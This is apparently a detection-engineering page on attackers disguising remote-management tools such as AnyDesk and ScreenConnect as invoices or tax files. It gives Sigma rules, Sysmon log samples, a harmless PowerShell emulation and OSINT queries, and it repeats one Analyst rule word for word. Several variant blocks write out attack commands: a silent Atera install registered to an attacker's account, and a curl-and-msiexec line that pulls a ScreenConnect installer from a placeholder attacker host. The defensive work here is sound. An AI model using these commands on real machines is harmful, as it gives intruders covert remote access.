Attack Chokepoints 3 invariant stages
Each stage is an invariant condition the attacker must satisfy, regardless of tool, variant, or threat actor. Detection at any stage breaks the chain.
1 Browser Download ▶
- User account can execute binaries from browser download paths (Downloads, Temp, AppData)
- RMM binary carries a valid vendor code-signing certificate; hash-based detection does not fire
- Sysmon Event ID 11 (File Creation)
- Browser download telemetry
2 User Execution ▶
- Sysmon Event ID 1 (Process Creation)
- Windows Security Event ID 4688 (Process Creation)
3 Outbound RMM Connection ▶
- Sysmon Event ID 3 (Network Connection)
- Firewall / proxy egress logs
Variations 9 variants tracked
Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.
AnyDesk 2020 Declining ▶
# User downloads "Invoice_2024.exe" via browser
# PE metadata reveals: OriginalFilename = "AnyDesk.exe", Company = "AnyDesk Software GmbH"
# Execution establishes C2 to *.net.anydesk.com relay
# Attacker's AnyDesk ID connects to victim's session
- Sysmon EID 11: Executable written to Downloads/Temp by browser process
- Sysmon EID 1: Process where Image filename differs from OriginalFilename in PE header
- Sysmon EID 3: Outbound to *.net.anydesk.com on 443/6568
- Sysmon EID 13: AnyDesk registry keys created despite different filename
TeamViewer 2019 Active ▶
# User downloads "Meeting_Link.exe" or "Support_Tool.exe"
# PE metadata: OriginalFilename = "TeamViewer.exe", Company = "TeamViewer Germany GmbH"
# Establishes connection to *.teamviewer.com relay
- Sysmon EID 11: Executable downloaded by browser with non-TeamViewer name
- Sysmon EID 1: Process where filename differs from TeamViewer PE metadata
- Sysmon EID 3: Outbound to *.teamviewer.com
ScreenConnect (ConnectWise) 2022 Active ▶
# User downloads "SecurityUpdate.exe" or "TaxForm_2024.msi"
# MSI installs ScreenConnect client silently
# Connects to attacker-controlled instance:
# hxxps[://]attacker-instance[.]screenconnect[.]com
# or self-hosted: hxxps[://]attacker-server[.]com:8040
- Sysmon EID 11: MSI/EXE downloaded by browser with campaign-themed name
- Sysmon EID 1: ScreenConnect.ClientService.exe installed
- Sysmon EID 3: Outbound HTTPS to *.screenconnect.com or non-standard port
- Windows System EID 7045: ScreenConnect service installed
UltraViewer 2023 Active ▶
# User downloads "Document_Viewer.exe"
# PE metadata: OriginalFilename = "UltraViewer.exe"
# Connects to UltraViewer relay infrastructure
- Sysmon EID 11: Executable with non-UltraViewer filename
- Sysmon EID 1: Process with UltraViewer PE metadata from Downloads/Temp
- Sysmon EID 3: Outbound to UltraViewer relay
RustDesk 2023 Active ▶
# Open-source self-hosted RMM - no vendor relay to block
# Attacker runs their own RustDesk server
# Victim downloads renamed rustdesk.exe
# Config points to attacker relay: hxxps[://]attacker-relay[.]com:21116
- Sysmon EID 11: rustdesk.exe written with non-standard filename
- Sysmon EID 1: Process with RustDesk PE metadata from unexpected path
- Sysmon EID 3: Outbound to non-standard IP on port 21116/21117
SimpleHelp 2025-Q1 Active ▶
# Two attack paths:
# Path 1: Renamed binary (social engineering) - PE metadata mismatch
# Path 2: CVE exploitation (server-side):
# CVE-2024-57727 (path traversal) + CVE-2024-57726 (privesc) + CVE-2024-57728 (RCE)
- Path 1: Same as other renamed RMM (PE metadata mismatch)
- Path 2: SimpleHelp server logs showing exploitation
- Sysmon EID 3: Outbound from SimpleHelp client to attacker instance
NetSupport Manager 2019 Active ▶
# Drops NetSupport client files to AppData or ProgramData:
# client32.exe + client32.ini (attacker gateway config)
# client32.ini contains:
# [HTTP]
# Gateway=hxxps[://]attacker-gateway[.]com
- Sysmon EID 11: client32.exe + client32.ini written to AppData/ProgramData
- Sysmon EID 1: client32.exe running from non-standard path
- Sysmon EID 3: Outbound to attacker gateway (not official NetSupport infra)
Atera 2022 Active ▶
msiexec /i AteraSetup.msi /qn INTEGRATORLOGIN=attacker@email.com ACCOUNTID=<attacker_account>
# Silent install, agent registers to attacker's Atera account
- Sysmon EID 1: msiexec.exe with /qn flag installing Atera MSI
- Sysmon EID 11: AteraAgent.exe installed
- Sysmon EID 3: Outbound to *.atera.com
RMM-to-RMM Deployment 2024 Active ▶
# First RMM deploys second as backup persistence:
cmd /c curl -o C:\Temp\ScreenConnect.msi hxxps[://]attacker-instance[.]screenconnect[.]com/Bin/ConnectWiseControl.ClientSetup.msi
msiexec /i C:\Temp\ScreenConnect.msi /qn
- Sysmon EID 1: RMM process spawning cmd.exe → curl → msiexec
- Sysmon EID 11: Second RMM installer written to disk
- Sysmon EID 3: Two simultaneous outbound RMM connections to different relays
Detection Strategy
Rules organized by the chokepoint stage they detect. Each stage has one or more rules at different maturity levels.
Hunt rule
Med FP
▶
*.exe file created by a browser (chrome, firefox, msedge, iexplore, brave) in \Downloads\, \Temp\, or \AppData\Local\Temp\, then executed within 5 minutes, where product metadata or OriginalFilename matches a known RMM vendor.
title: RMM Tool Downloaded via Browser and Executed
id: c9d3e5f7-a9b1-4c3d-5e6f-7a8b9c0d1e2f
status: experimental
description: >
Detects RMM tool executables created by a browser in download locations. Distinguishes
user-initiated downloads from IT-deployed RMM installations.
references:
- https://attack.mitre.org/techniques/T1219/
author: "@iimp0ster"
date: 2025/01/15
tags:
- attack.initial_access
- attack.command_and_control
- attack.t1219
- detection.maturity.hunt
logsource:
category: file_event
product: windows
detection:
selection_download_path:
TargetFilename|contains:
- '\Downloads\'
- '\AppData\Local\Temp\'
- '\Temp\'
- '\AppData\Roaming\Temp\'
selection_browser_creator:
Image|endswith:
- '\chrome.exe'
- '\firefox.exe'
- '\msedge.exe'
- '\iexplore.exe'
- '\opera.exe'
- '\brave.exe'
- '\vivaldi.exe'
selection_executable:
TargetFilename|endswith:
- '.exe'
- '.msi'
filter_legit_software:
# Tune for your environment — add legitimate software that triggers this rule
TargetFilename|endswith:
- '\placeholder_tune_for_your_env.exe'
condition: selection_download_path and selection_browser_creator and selection_executable and not filter_legit_software
falsepositives:
- Legitimate software downloads by users (any browser-downloaded executable)
- IT staff downloading RMM tools for authorized deployment
level: low
Analyst rule
Low FP
▶
Browser-dropped *.exe (per Hunt logic) AND one of: file name contains tax, invoice, SSN, SSA, support, verify, or secure; OR OriginalFilename = anydesk.exe (or other RMM) while current name differs; OR file signed by a known RMM vendor but renamed. Fires on outbound to RMM infrastructure within 2 minutes of execution from a standard user account (not IT admin).
title: Masqueraded RMM Tool with Campaign-Themed Filename Downloaded via Browser
id: d0e4f6a8-b0c2-4d4e-6f7a-8b9c0d1e2f3a
status: experimental
description: >
Detects browser-downloaded executables with campaign-themed names whose PE metadata
(OriginalFilename or signer) matches a known RMM vendor.
references:
- https://attack.mitre.org/techniques/T1219/
author: "@iimp0ster"
date: 2025/01/15
tags:
- attack.initial_access
- attack.command_and_control
- attack.t1219
- detection.maturity.analyst
logsource:
category: process_creation
product: windows
detection:
# Executable downloaded from browser to user-writable location
selection_path:
Image|contains:
- '\Downloads\'
- '\AppData\Local\Temp\'
- '\Temp\'
- '\Desktop\'
# Campaign-themed filename patterns (tax season, invoice, IT support pretexts)
selection_campaign_name:
Image|contains:
- 'tax'
- 'invoice'
- 'Invoice'
- 'Tax'
- 'SSN'
- 'SSA'
- 'W-2'
- 'W2'
- '1099'
- 'refund'
- 'Refund'
- 'support'
- 'Support'
- 'verify'
- 'Verify'
- 'secure'
- 'Secure'
- 'helpdesk'
- 'HelpDesk'
- 'IT_'
- 'remote_'
# Original filename or description matches known RMM vendors
# (requires file metadata enrichment — Sysmon FileVersion fields or EDR metadata)
selection_rmm_metadata:
OriginalFileName|contains:
- 'AnyDesk'
- 'anydesk'
- 'ScreenConnect'
- 'screenconnect'
- 'TeamViewer'
- 'teamviewer'
- 'UltraViewer'
- 'ultraviewer'
- 'RustDesk'
- 'rustdesk'
- 'MeshAgent'
- 'meshagent'
filter_legit_software:
# Tune for your environment — add legitimate software that triggers this rule
Image|endswith:
- '\placeholder_tune_for_your_env.exe'
condition: selection_path and selection_campaign_name and selection_rmm_metadata and not filter_legit_software
falsepositives:
- Legitimate tax or invoice software that happens to have RMM integration
- IT staff downloading RMM tools with descriptive names for asset tracking
level: high
Analyst rule
Low FP
▶
Browser-dropped *.exe (per Hunt logic) AND one of: file name contains tax, invoice, SSN, SSA, support, verify, or secure; OR OriginalFilename = anydesk.exe (or other RMM) while current name differs; OR file signed by a known RMM vendor but renamed. Fires on outbound to RMM infrastructure within 2 minutes of execution from a standard user account (not IT admin).
title: Masqueraded RMM Tool with Campaign-Themed Filename Downloaded via Browser
id: d0e4f6a8-b0c2-4d4e-6f7a-8b9c0d1e2f3a
status: experimental
description: >
Detects browser-downloaded executables with campaign-themed names whose PE metadata
(OriginalFilename or signer) matches a known RMM vendor.
references:
- https://attack.mitre.org/techniques/T1219/
author: "@iimp0ster"
date: 2025/01/15
tags:
- attack.initial_access
- attack.command_and_control
- attack.t1219
- detection.maturity.analyst
logsource:
category: process_creation
product: windows
detection:
# Executable downloaded from browser to user-writable location
selection_path:
Image|contains:
- '\Downloads\'
- '\AppData\Local\Temp\'
- '\Temp\'
- '\Desktop\'
# Campaign-themed filename patterns (tax season, invoice, IT support pretexts)
selection_campaign_name:
Image|contains:
- 'tax'
- 'invoice'
- 'Invoice'
- 'Tax'
- 'SSN'
- 'SSA'
- 'W-2'
- 'W2'
- '1099'
- 'refund'
- 'Refund'
- 'support'
- 'Support'
- 'verify'
- 'Verify'
- 'secure'
- 'Secure'
- 'helpdesk'
- 'HelpDesk'
- 'IT_'
- 'remote_'
# Original filename or description matches known RMM vendors
# (requires file metadata enrichment — Sysmon FileVersion fields or EDR metadata)
selection_rmm_metadata:
OriginalFileName|contains:
- 'AnyDesk'
- 'anydesk'
- 'ScreenConnect'
- 'screenconnect'
- 'TeamViewer'
- 'teamviewer'
- 'UltraViewer'
- 'ultraviewer'
- 'RustDesk'
- 'rustdesk'
- 'MeshAgent'
- 'meshagent'
filter_legit_software:
# Tune for your environment — add legitimate software that triggers this rule
Image|endswith:
- '\placeholder_tune_for_your_env.exe'
condition: selection_path and selection_campaign_name and selection_rmm_metadata and not filter_legit_software
falsepositives:
- Legitimate tax or invoice software that happens to have RMM integration
- IT staff downloading RMM tools with descriptive names for asset tracking
level: high
Research rule
High FP
▶
Process name matches known RMM binaries: anydesk.exe, screenconnect*.exe, teamviewer*.exe, ultraviewer.exe, rustdesk.exe, meshagent.exe, connectwisecontrol*.exe.
title: Known RMM Tool Process Execution
id: b8c2d4e6-f8a0-4b2c-9d3e-5f7a9b1c3d5e
status: experimental
description: >
Detects execution of known RMM tool processes. Baseline rule for mapping approved
vs. unapproved RMM usage across the environment.
references:
- https://attack.mitre.org/techniques/T1219/
author: "@iimp0ster"
date: 2025/01/15
tags:
- attack.initial_access
- attack.command_and_control
- attack.t1219
- detection.maturity.research
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\anydesk.exe'
- '\AnyDesk.exe'
- '\TeamViewer.exe'
- '\teamviewer.exe'
- '\ultraviewer.exe'
- '\UltraViewer.exe'
- '\rustdesk.exe'
- '\RustDesk.exe'
- '\meshagent.exe'
- '\MeshAgent.exe'
Image|contains:
- '\ScreenConnect.'
- '\connectwisecontrol'
- '\ConnectWiseControl'
filter_legit_software:
# Tune for your environment — add legitimate software that triggers this rule
Image|endswith:
- '\placeholder_tune_for_your_env.exe'
condition: selection and not filter_legit_software
falsepositives:
- Legitimate IT helpdesk use of RMM tools
- Authorized remote support sessions
- Security testing environments
level: informational
Prevention
Restricting which RMM tools are permitted to run on endpoints breaks the C2 persistence phase before it starts. Signer-based and inventory-based allow rules catch renamed binaries that bypass filename controls, because the vendor signature is preserved regardless of the filename.
Block RMM tools not on your authorized inventory
Stops C2 session establishment regardless of which tool or rename trick is used.
Enforce signer-based allow rules for remote access software
Catches binaries renamed to appear as invoices or installers, because the original vendor signature is preserved and verifiable regardless of the filename.
Alert on new outbound connections to unlisted RMM infrastructure domains
Contains C2 persistence even if the binary executes past endpoint controls; limits the attacker's ability to maintain access after the initial session.
Raw Log Samples 3 samples
Detection-relevant event examples. Each card identifies its evidence basis and the Sigma tiers it exercises.
EID 11 Sysmon Renamed RMM binary dropped to Downloads folder by browser process HuntAnalyst ▶
EventID: 11 (FileCreate)
UtcTime: 2024-10-15 09:34:12.881
ProcessGuid: {c3d4e5f6-3456-7890-cdef-012345678901}
ProcessId: 3284
Image: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
TargetFilename: C:\Users\jsmith\Downloads\tax-document-2024.exe
CreationUtcTime: 2024-10-15 09:34:12.881
# Browser drops .exe directly to Downloads. Combined with execution signals Hunt/Analyst rules
EID 1 Sysmon Renamed RMM binary executed. OriginalFilename mismatch is the Analyst signal ResearchHuntAnalyst ▶
EventID: 1 (Process Create)
UtcTime: 2024-10-15 09:34:28.103
ProcessGuid: {c3d4e5f6-3456-7890-cdef-012345678902}
ProcessId: 9876
Image: C:\Users\jsmith\Downloads\tax-document-2024.exe
OriginalFileName: AnyDesk.exe
CommandLine: "C:\Users\jsmith\Downloads\tax-document-2024.exe"
CurrentDirectory: C:\Users\jsmith\Downloads\
ParentProcessId: 3284
ParentImage: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
FileVersion: 8.0.8.0
Description: AnyDesk
Company: AnyDesk Software GmbH
# KEY SIGNAL: Image=tax-document-2024.exe but OriginalFileName=AnyDesk.exe
# File signer: AnyDesk Software GmbH certificate on a file named "tax-document-2024.exe"
EID 3 Sysmon Renamed AnyDesk binary connects to AnyDesk relay infrastructure Analyst ▶
EventID: 3 (NetworkConnect)
UtcTime: 2024-10-15 09:34:29.441
ProcessGuid: {c3d4e5f6-3456-7890-cdef-012345678902}
ProcessId: 9876
Image: C:\Users\jsmith\Downloads\tax-document-2024.exe
User: CORP\jsmith
Protocol: tcp
Initiated: true
SourceIp: 10.10.5.22
SourcePort: 51876
DestinationIp: 195.201.29.30
DestinationHostname: relay.anydesk.com
DestinationPort: 443
# Non-RMM-named binary connecting to relay.anydesk.com within 2 min of browser download
Emulation
ATT&CK: T1219.002 Simulates renamed RMM binary drop, execution with metadata mismatch, and outbound connection powershell ▶
#Requires -Version 5.1
# MITRE ATT&CK: T1219.002 — Remote Access Tools
# Simulates browser-downloaded RMM binary renamed to a campaign-themed filename.
[CmdletBinding()]
param(
[string]$CampaignName = 'tax-document-2024',
[switch]$CleanupOnly
)
Set-StrictMode -Version Latest
$ErrorActionPreference = 'Stop'
# Use a legitimate signed Windows binary as the "RMM" stand-in for safe emulation.
# In a real engagement, replace this with actual AnyDesk.exe for full fidelity.
$RmmSourceBinary = Join-Path $env:WINDIR 'System32\notepad.exe'
$DownloadsPath = Join-Path $env:USERPROFILE 'Downloads'
$RenamedBinary = Join-Path $DownloadsPath "$CampaignName.exe"
$RmmPort = 443 # AnyDesk relay uses 443/80/6568; use 443 for lab (less likely blocked)
$RmmHost = 'relay.anydesk.com'
function Write-Step ([string]$Msg) { Write-Host "[*] $Msg" -ForegroundColor Cyan }
function Write-Ok ([string]$Msg) { Write-Host "[+] $Msg" -ForegroundColor Green }
function Write-Warn ([string]$Msg) { Write-Host "[!] $Msg" -ForegroundColor Yellow }
function Remove-Artefacts {
if (Test-Path $RenamedBinary) {
Remove-Item $RenamedBinary -Force -ErrorAction SilentlyContinue
Write-Ok "Removed: $RenamedBinary"
}
}
if ($CleanupOnly) { Remove-Artefacts; exit 0 }
Write-Host ""
Write-Host "=== Renamed RMM Tool Emulation ===" -ForegroundColor Magenta
Write-Host " T1219.002 | Detection Chokepoints Project" -ForegroundColor DarkGray
Write-Host ""
Write-Step "Step 1/3 — Dropping renamed binary to Downloads (browser-download simulation)"
Write-Verbose " Source binary: $RmmSourceBinary"
Write-Verbose " Renamed to: $RenamedBinary"
# Ensure Downloads directory exists
if (-not (Test-Path $DownloadsPath)) {
New-Item -ItemType Directory -Path $DownloadsPath -Force | Out-Null
}
Copy-Item -Path $RmmSourceBinary -Destination $RenamedBinary -Force
Write-Ok "Binary copied to: $RenamedBinary"
Write-Ok "File name: $CampaignName.exe (social engineering name)"
# Report OriginalFilename vs current name mismatch (the key detection signal)
try {
$versionInfo = [System.Diagnostics.FileVersionInfo]::GetVersionInfo($RenamedBinary)
Write-Host ""
Write-Host " File metadata (key detection signal):" -ForegroundColor White
Write-Host " CurrentName: $CampaignName.exe" -ForegroundColor DarkGray
Write-Host " OriginalFilename: $($versionInfo.OriginalFilename)" -ForegroundColor DarkGray
Write-Host " ProductName: $($versionInfo.ProductName)" -ForegroundColor DarkGray
Write-Host " FileDescription: $($versionInfo.FileDescription)" -ForegroundColor DarkGray
if ($versionInfo.OriginalFilename -and $versionInfo.OriginalFilename -ne "$CampaignName.exe") {
Write-Ok "MISMATCH CONFIRMED: OriginalFilename != current name — Analyst rule will fire"
}
} catch {
Write-Warn "Could not read version info: $_"
}
Start-Sleep -Milliseconds 500
Write-Step "Step 2/3 — Executing renamed binary (brief run to generate process telemetry)"
Write-Verbose " Note: In real scenario, OriginalFilename=AnyDesk.exe vs. CurrentName=$CampaignName.exe"
try {
# Start notepad briefly then kill it — generates EID 1 with the renamed image path
$proc = Start-Process -FilePath $RenamedBinary -PassThru -ErrorAction Stop
Start-Sleep -Milliseconds 800
if (-not $proc.HasExited) {
$proc.Kill()
$proc.WaitForExit(2000) | Out-Null
}
Write-Ok "Renamed binary executed (PID $($proc.Id)) and terminated — Sysmon EID 1 generated"
} catch {
Write-Warn "Binary execution failed: $_"
}
Start-Sleep -Milliseconds 300
Write-Step "Step 3/3 — Outbound connection to RMM relay port (network telemetry)"
Write-Verbose " Target: $RmmHost`:$RmmPort"
Write-Warn "Note: real AnyDesk connects to relay.anydesk.com:443/80/6568; using TCP connect test only"
try {
$tcp = New-Object System.Net.Sockets.TcpClient
$async = $tcp.BeginConnect($RmmHost, $RmmPort, $null, $null)
$connected = $async.AsyncWaitHandle.WaitOne(5000, $false)
if ($connected) {
$tcp.EndConnect($async)
Write-Ok "TCP connection to $RmmHost`:$RmmPort succeeded — Sysmon EID 3 generated"
} else {
Write-Warn "TCP connect timed out (connection attempt still generated EID 3)"
}
$tcp.Close()
} catch {
Write-Warn "Network connection failed (telemetry may still have fired): $_"
}
Write-Host ""
Write-Step "Cleaning up artefacts"
Remove-Artefacts
Write-Host ""
Write-Host "=== Emulation Complete ===" -ForegroundColor Magenta
Write-Host ""
Write-Host "Expected detections:" -ForegroundColor White
Write-Host " [Research] Sysmon EID 1 — process name matches known RMM tool OR OriginalFilename" -ForegroundColor DarkCyan
Write-Host " [Hunt] EID 11 (file in Downloads) + EID 1 (execution within 5 min)" -ForegroundColor DarkYellow
Write-Host " [Analyst] Campaign filename + OriginalFilename mismatch + EID 3 to RMM infra" -ForegroundColor DarkGreen
Write-Host ""
Write-Host "Higher fidelity: replace source binary with actual AnyDesk.exe for real metadata" -ForegroundColor DarkGray
Write-Host " OriginalFilename=AnyDesk.exe vs. CurrentName=$CampaignName.exe is the key signal" -ForegroundColor DarkGray
Write-Host ""
OSINT Pivots
filename:MicrosoftTeams.msi OR filename:chrome_update.exe OR filename:security_scan.exe OR filename:verify.exe OR filename:support.exe
product:"ScreenConnect"
services.tls.certificate.parsed.subject.common_name: "SimpleHelp"
have:itw tag:peexe (metadata:"AnyDesk" OR metadata:"ScreenConnect" OR metadata:"SimpleHelp" OR metadata:"NetSupport")